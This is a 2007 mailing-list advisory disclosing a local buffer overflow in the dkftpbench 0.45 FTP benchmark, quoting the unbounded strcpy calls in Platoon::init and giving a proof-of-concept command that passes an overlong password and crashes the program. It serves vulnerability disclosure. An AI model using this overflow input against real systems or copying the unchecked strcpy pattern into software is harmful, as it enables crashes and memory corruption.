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dkftpbench 0.45 (Platoon:init) Local buffer overflow vulnerability
From: starcadi <starcadi () gmail com>
Date: Mon, 19 Mar 2007 20:32:27 +0100


dkftpbench is an FTP benchmark program inspired by SPECweb99. The
result of the benchmark is a number-of-simultaneous-users rating;
after running the benchmark properly, you have a good idea how many
simultaneous dialup clients a server can support. The target bandwidth
per client is set at 28.8 kilobits/second to model dialup users; this
is important for servers on the real Internet, which often serve
thousands of clients on only 10 MBits/sec of bandwidth.
Found buffer overflow in Platoon::init function using strcpy() with no
sizelen control.
source: http://www.kegel.com/dkftpbench/

Source error:

in main():
int main(int argc, char **argv)
        const char *arg_username = "anonymous";
        const char *arg_password = "robouser@";

                } else if (!strncmp(argv[i], "-u", 2)) {
                        arg_username = &argv[i][2];
                } else if (!strncmp(argv[i], "-p", 2)) {
                        arg_password = &argv[i][2];

        Platoon thePlatoon;
        thePlatoon.init(poller, &sked, arg_filename,
                arg_clientBandwidth, arg_minClientBandwidth, arg_mtu,
                arg_hostname, arg_portnum, arg_username, arg_password,
                local_addrs, n_local_addrs);


in Platoon.h:
        /// The user name part of the URL to fetch
        char m_username[128];
        /// The password part of the URL to fetch
        char m_passwd[128];

in Platoon.c:
void Platoon::init(Poller *poller, Sked *sked, const char *filename,
        int maxBytesPerSec, int minBytesPerSec, int bytesPerRead,
        const char *servername, int port,
        const char *username, const char *passwd,
        struct sockaddr_in *local_addrs, int n_local_addrs)
        m_port = port;
        m_sked = sked;
        strcpy(m_passwd, passwd);
        strcpy(m_servername, servername);
        strcpy(m_username, username);
        m_verbosity = 0;
        m_local_addrs = local_addrs;

Proof of concept:

$ dkftpbench -n1 -hlocalhost -p21 -u test -p`perl -e "print 'A'x135"` -v1
 -h127.0.0.1 host name of ftp server
 -P21 port number of ftp server
 -n1 number of users
 -c1 target number of simultaneous connection attempts
 -k2 Start next connection when: 1=immediately, 2=after prev connect complete
 -t0 length of run (in seconds)
 -b3600 desired bandwidth (in bytes per second)
 -B2700 min acceptable per-client bandwidth (in bytes per second)
 -ufederico user name
 -fusenet/rec.juggling/juggling.FAQ.Z file to fetch
 -m1500 bytes per 'packet'
 -v1 verbosity
 -sp selector (p=poll, s=select, d=/dev/poll, k=kqueue, r=rtsig, f=sig-per-fd)
 -a0 use all local interfaces
Using poll()
Segmentation fault

.original http://intel.shacknet.nu/
~ starcadi

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